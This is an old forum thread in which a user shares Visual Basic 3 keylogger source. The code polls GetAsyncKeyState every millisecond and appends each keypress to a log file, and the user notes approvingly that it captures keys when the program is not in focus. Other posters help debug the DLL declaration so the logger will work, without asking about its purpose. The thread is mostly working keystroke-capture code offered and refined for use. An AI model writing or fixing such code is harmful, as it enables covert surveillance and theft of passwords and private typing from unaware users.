-
Ok its a key Logger.....
Keep in mind i can't use "public" in declarations because i have vb3
In general as a function I have
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
In the form1 load event... I have
Sub Form_Load ()
Timer1.Interval = 1
Timer1.Enabled = True
End Sub
In Timer1 I have
Sub Timer1_Timer ()
For i = 1 To 255
x = GetAsyncKeyState(i)
If x > 0 Then
Open "\flag\logs\Keylog.Log" For Append As #1
Print #1, (Chr(i))
Close #1
End If
Next i
End Sub
Now I keep getting a file not found error for GetAsyncKeyState........Any Suggestions? If not can you try to rewrite it another way so i can get it working. thanks im bushed.
-
I think because you are using an API in VB3...Instead of using user32, try using user16 and see if it works.
-
Nope didn't work
;o\, this sucks
..Any suggestions?
-
First of all, you should always dimension your variables, particularly if you are going to be using them in API calls.
So your x variable should be an Integer since that's what the API expects. Here is an example from the VB API site.
Dim result As Integer ' result of the function
' Get the state of the Q key as returned by the function.
result = GetAsyncKeyState(VK_Q) ' get status of the Q key
' Check the &H1 bit of the return value.If (result And &H80) = &H80 Then
Debug.Print "The Q key has been pressed since the last call to GetAsyncKeyState."
Else
Debug.Print "The Q key has not been pressed since the last call to GetAsyncKeyState."
End If
-
If that didn't work that maybe VB3 doesn't support API Calls. do other API's work?
-
He hehe
Damn Mega, is VB that old to ya hehehe, yeah it supports API calls.
Im gonna try that code, I have VB6, the only problem is i started this project in VB3 and then when i try to open it in 6, it gave me a lot of mumbo jumbo errors, especially with the bas files........Royally sucks, this would of made my life so much easier...
-
Hold Up
Martin, are you telling me I have to do a different line of code per key? Define all the constants etc? Woa, i guess that can work i just figured it be better then it scans through all the ascii when found writes it to text file...plus that code worked when program wasnt in focus... Where would be the best place to put your code.....form load, module.....still new at this give me a little more info.
-
you missed .dll of the User32
Code:
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
-
Error loading DLL
Got a error loading dll when I added a dll at the end of it......driving me nutz, keep at it guys
-
the VB3 api call is:
Code:
Declare Function GetAsyncKeyState Lib "User" (ByVal vKey As Integer) As Integer
Have you tried this yet?
-
darn
I get a bad dll calling convention error.....hehe the hardships huh...that was using "user" by the way....any more ideas, keep it coming.
-
You can't load it into VB6, because VB3 saves into binary. i'll try to look for a converter for you.